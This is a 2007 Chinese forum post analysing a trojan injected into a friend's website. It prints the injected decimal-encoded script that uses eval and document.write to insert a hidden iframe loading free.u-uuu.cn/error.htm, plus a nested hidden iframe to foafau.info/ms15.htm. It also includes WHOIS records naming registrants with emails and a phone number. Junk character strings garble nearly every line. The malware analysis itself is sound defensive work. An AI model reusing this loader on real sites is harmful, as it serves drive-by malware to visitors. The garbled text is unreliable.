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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, te:@F]A  
uD+;5S]us  
http://www.areway.cn/?p=175 H >RGX#|  
`OBDx ^6F  
)[/+j"F   
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ;Yi ;2ttW  
          &<L+;k~P%  
<script>t=’60,105,102,114,97,109,101, vuD tEz  
32,115,114,99,61,104,116,116,112,58,47,47, ptUnV3h  
102,114,101,101,46,117,45,117,117,117,46,99, Qs~;?BH&  
110,47,101,114,114,111,114,46,104,116,109, ~DCw [y  
32,119,105,100,116,104,61,49,48,48,32,104, Q~`]0R159e  
101,105,103,104,116,61,48,62,60,47,105,102, /Cwt4.5  
114,97,109,101,62′; SA}]ZK P  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> y\ouIsI77  
                                                                                                  m!v`nw]  
<script>t=’60,105,102,114,97,109,101,32,115, `m3C\\9;  
114,99,61,104,116,116,112,58,47,47,102,114, E4WoKuE1$  
101,101,46,117,45,117,117,117,46,99,110,47, YKj7~yK?  
101,114,114,111,114,46,104,116,109,32,119, 6n<:ph,h;  
105,100,116,104,61,49,48,48,32,104,101,105, Ll&Y_Ry  
103,104,116,61,48,62,60,47,105,102,114,97, P hn&hRAO  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); R$v{ p[  
document.write(t);</script> y|c]r!A  
                                                                                                  F%L^k.y$  
<html xmlns=” rjfQ\W;}U  
http://www.w3.org/1999/xhtml Z~$fTW6g  
“> tTC[^Dji  
<head> 17J|g.]m-&  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> $T~|@XH  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> skr^m%W  
<title>首页 - 爱生活家庭网 C <]rY  
                                                                                                                                                    z[V|W  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 (5VP*67  
转换字符串后的大概内容是(谁点击后果自付): m &s0Ub  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… NaLec|6<t  
                                                                                                                                  L;>tuJY1  
查询玉米u-uuu.cn的详细信息: C$Ldz=d  
Domain Name: u-uuu.cn =|=9\3po  
ROID: 20070901s10001s64972306-cn fok OjTE  
Domain Status: ok O Y/QA  
Registrant Organization: 王雷 0l{').!_  
Registrant Name: 王雷 TRG"fVR  
Administrative Email: czlovexs@126.com ZA+$ZU^  
Sponsoring Registrar: 北京万网志成科技有限公司 F< Qjoaz  
Name Server:ns.yovole.com EzwYqw  
Name Server:ns1.yovole.com mI"`.  
Registration Date: 2007-09-01 17:54 bvs0y7M='  
Expiration Date: 2008-09-01 17:54 X 1^f0\k  
最后PING了一下地址 都没有什么…. >\%44ba6  
                                                                                                ^o65sM  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 5c`DkWne%  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> j<4J_wE  
<script language=”javascript” src=” d8/lEmv[  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script \snbU'lfP  
> 5fSDdaO  
这个玉米应该有可能是木马作者的: "pQM$3n(  
foafau.info的详细信息: rN8 ZQiJC  
Access to INFO WHOIS information is provided to assist persons in |s[m;Qm[ku  
determining the contents of a domain name registration record in the 2-. g>'W  
Afilias registry database. The data in this record is provided by *!Vic#D%  
Afilias Limited for informational purposes only, and Afilias does not tbl!{Qwx  
guarantee its accuracy.  This service is intended only for query-based n!A')]y"  
access. You agree that you will use this data only for lawful purposes `{<2{}2M  
and that, under no circumstances will you use this data to: (a) allow, 1DN,  
enable, or otherwise support the transmission by e-mail, telephone, or 0 A/GWSmF  
facsimile of mass unsolicited, commercial advertising or solicitations uFW4A  
to entities other than the data recipient’s own existing customers; or LX!16a@SxA  
(b) enable high volume, automated, electronic processes that send aG?'F`UQ  
queries or data to the systems of Registry Operator, a Registrar, or E _/v$  
Afilias except as reasonably necessary to register domain names or jrvhTej  
modify existing registrations. All rights reserved. Afilias reserves 6P3ezl@#;  
the right to modify these terms at any time. By submitting this query, 0`3ey*  
you agree to abide by this policy. *Iyv${  
Domain ID:D22418703-LRMS #sq-V,8  
Domain Name:FOAFAU.INFO )|q,RAn  
Created On:20-Nov-2007 16:05:42 UTC gXE'3  
Last Updated On:20-Nov-2007 16:05:44 UTC #}^ZxEU  
Expiration Date:20-Nov-2008 16:05:42 UTC )p).}"   
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)  Xb&r|pR  
Status:CLIENT DELETE PROHIBITED n)8bkcZCp+  
Status:CLIENT RENEW PROHIBITED $Vlfg51ob  
Status:CLIENT TRANSFER PROHIBITED hSQ P '6  
Status:CLIENT UPDATE PROHIBITED U]@t\T3W  
Status:TRANSFER PROHIBITED @L,T/m-HF  
Registrant ID:GODA-040110615 tQF7{F-}  
Registrant Name:liu hong 4;7<)&#h  
Registrant Organization: 7E%ehM6Y  
Registrant Street1:beijing VQ$=F8ivG  
Registrant Street2: "/O0j/lm  
Registrant Street3: e*jn7aya  
Registrant City:beijing 6jO*rseC  
Registrant State/Province: psta&u\ q  
Registrant Postal Code:100000 J<H$B +;qR  
Registrant Country:CN POtDge  
Registrant Phone:+86.860108888777 +pnT6kU|  
Registrant Phone Ext.: _r+9S.z  
Registrant FAX: tv,^ Q}  
Registrant FAX Ext.: pr>K#@^  
Registrant Email:bbbshiji@163.com T=ox;r  
Admin ID:GODA-240110615 w(k7nGU]  
Admin Name:liu hong k&n7 _[]n  
Admin Organization: lF 8B+  
Admin Street1:beijing }V ;PaX  
Admin Street2: @433?g`2b  
Admin Street3: hOO)0IrIM*  
Admin City:beijing XaR(q2s  
Admin State/Province: ahhVl=9/ao  
Admin Postal Code:100000 `g6ZhG:W  
Admin Country:CN ^pKC0E[%  
Admin Phone:+86.860108888777  UY+~,a  
Admin Phone Ext.: YM1tP'4j@  
Admin FAX: Yu9Ccj`  
Admin FAX Ext.: H \.EK Z  
Admin Email:bbbshiji@163.com ]W5s!T_  
Billing ID:GODA-340110615 &pZ]F=.r+  
Billing Name:liu hong b! PN6<SI  
Billing Organization: yV$p(+KkS  
Billing Street1:beijing A:cc @ku  
Billing Street2: 3 ^{U:"N0  
Billing Street3: $_S^Aw?  
Billing City:beijing :kOLiko!4>  
Billing State/Province: vJtQ&,zG  
Billing Postal Code:100000 1k-^LdDj  
Billing Country:CN x*}(l%[  
Billing Phone:+86.860108888777 $QNfy.6Tn  
Billing Phone Ext.: 0 -=onX  
Billing FAX: rQ30)5^V|  
Billing FAX Ext.: \%mR*J+  
Billing Email:bbbshiji@163.com ucJR #14  
Tech ID:GODA-140110615 nO\|43W  
Tech Name:liu hong v9x $`  
Tech Organization: (x&#>5  
Tech Street1:beijing A}t.`FLP,j  
Tech Street2: <*8nv.PX*  
Tech Street3: ~ W52Mbf  
Tech City:beijing /UN%P2>^1  
Tech State/Province: K)_0ej~C  
Tech Postal Code:100000 xZGR<+t  
Tech Country:CN eq(|%]a=  
Tech Phone:+86.860108888777  T~ /Bf  
Tech Phone Ext.: r1}7Q7-z  
Tech FAX: AY [7yPP  
Tech FAX Ext.: : b $ M  
Tech Email:bbbshiji@163.com 87YT;Z;U&  
Name Server:NS27.DOMAINCONTROL.COM :2 QA#  
Name Server:NS28.DOMAINCONTROL.COM TcauCL  
Name Server: IR5 S-vO  
Name Server: dbB2/RI  
Name Server: ZH0 ~:  
Name Server: 0}Kl47}aD  
Name Server: k8Qv>z  
Name Server: |os2@G$  
Name Server: +\"@2mOH{+  
Name Server: Wj8\~B=('  
Name Server: Z TjlGU `  
Name Server: _q3SR[k+`  
Name Server: '9$xOrv  
                                                                                                          a[lE9JA;|  
接着下载每个文件里面的代码: kki]6_/n  
一步一步看.. je_77G(F  
.zBSjh_=H  
IW6;ZDP  
|PI.xl:ch  
OWtN=Gk  
Kqhj=B  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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